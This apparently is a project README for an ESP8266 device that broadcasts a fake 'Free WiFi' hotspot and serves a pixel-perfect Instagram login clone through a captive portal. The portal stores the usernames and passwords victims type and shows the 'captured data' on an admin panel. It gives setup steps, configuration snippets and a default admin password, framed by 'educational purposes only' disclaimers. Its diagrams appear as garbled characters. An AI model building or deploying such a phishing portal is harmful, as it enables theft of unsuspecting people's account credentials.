- Caro Nero - Initial work - caronero
ββββββββββββββββ
β ESP8266 β
β WiFi Portal β
ββββββββββββββββ
β
βΌ
ββββββββββββββββ
β Captive β
β Portal β
ββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββ
β Instagram Interface β
ββββββββββββββββββββββββ
βββββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
β User Device β ββββ β ESP8266 β ββββ β Admin Panel β
β (Phone/PC) β β WiFi Portal β β /admin β
βββββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
β
βΌ
ββββββββββββββββ
β Credential β
β Storage β
ββββββββββββββββ
ββββββββββββββββββββββββββββββ
β Instagram Login β
ββββββββββββββββββββββββββββββ€
β ββββββββββββββββββββ β
β β Instagram β β
β ββββββββββββββββββββ β
β β
β ββββββββββββββββββββ β
β β Username β β
β ββββββββββββββββββββ β
β β
β ββββββββββββββββββββ β
β β Password β β
β ββββββββββββββββββββ β
β β
β ββββββββββββββββββββ β
β β Log In β β
β ββββββββββββββββββββ β
ββββββββββββββββββββββββββββββ
An advanced ESP8266-based system that creates a WiFi access point with a captive portal simulating the Instagram login interface. Perfect for educational purposes and understanding how wireless network portals work.
- π― Pixel-perfect Instagram login interface clone
- π Automatic captive portal redirection
- πΎ Secure credential storage system
- π Password-protected admin dashboard
- π± Responsive design for all devices
- β‘ Fast and reliable connection
- π Automatic WiFi network broadcast
- π Real-time connection monitoring
- ESP8266 Development Board (Recommended models):
- NodeMCU ESP8266
- Wemos D1 Mini
- ESP-12E Module
- Micro USB cable for programming
- Power source (USB/Battery)
- Arduino IDE (2.0+ recommended)
- ESP8266 Board Package
- Web Browser
#include <ESP8266WiFi.h> // WiFi functionality
#include <DNSServer.h> // DNS Server for captive portal
#include <ESP8266WebServer.h> // Web Server functionality
-
Arduino IDE Setup
# Install ESP8266 Board Package http://arduino.esp8266.com/stable/package_esp8266com_index.json
-
Required Libraries
- Go to Tools > Manage Libraries
- Install all required libraries listed above
-
ESP8266 Configuration
- Board: "NodeMCU 1.0 (ESP-12E Module)"
- Upload Speed: "115200"
- CPU Frequency: "80 MHz"
- Flash Size: "4MB (FS:2MB OTA:~1019KB)"
- Clone this repository
git clone https://github.com/caronero/instagram_portal.git
- Open
instagram_portal.ino
in Arduino IDE - Configure your settings in the code:
const char* ssid = "Free WiFi"; // Change network name const char* admin_password = "your_pass"; // Change admin password
- Upload to your ESP8266
- Power on your device
-
Initial Setup
- Power on the ESP8266
- Look for "Free WiFi" network
- Connect to the network
-
Access Points
- Main Portal:
http://192.168.4.1
- Admin Panel:
http://192.168.4.1/admin
- Default Password:
zaid46
- Main Portal:
-
Admin Dashboard Features
- View captured data
- Monitor active connections
- System statistics
- Real-time logs
// Network Configuration
const char* ssid = "Free WiFi"; // WiFi Network Name
const char* admin_password = "zaid46"; // Admin Panel Password
const IPAddress apIP(192, 168, 4, 1); // Portal IP Address
const byte DNS_PORT = 53; // DNS Port
// Storage Configuration
#define MAX_CREDENTIALS 50 // Maximum stored entries
Common issues and solutions:
Issue | Solution |
---|---|
Device not broadcasting | Check power supply |
Can't access admin panel | Verify IP address |
Portal not redirecting | Clear browser cache |
Connection drops | Check ESP8266 power |
This tool is designed for EDUCATIONAL PURPOSES ONLY. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Contributions are welcome! Please feel free to submit a Pull Request.
This project is licensed for educational purposes only. Not for commercial or malicious use.
This project is for educational purposes only. The developers do not endorse or encourage any malicious use of this code.
For educational and development inquiries only:
- Create an issue in this repository
- Submit a pull request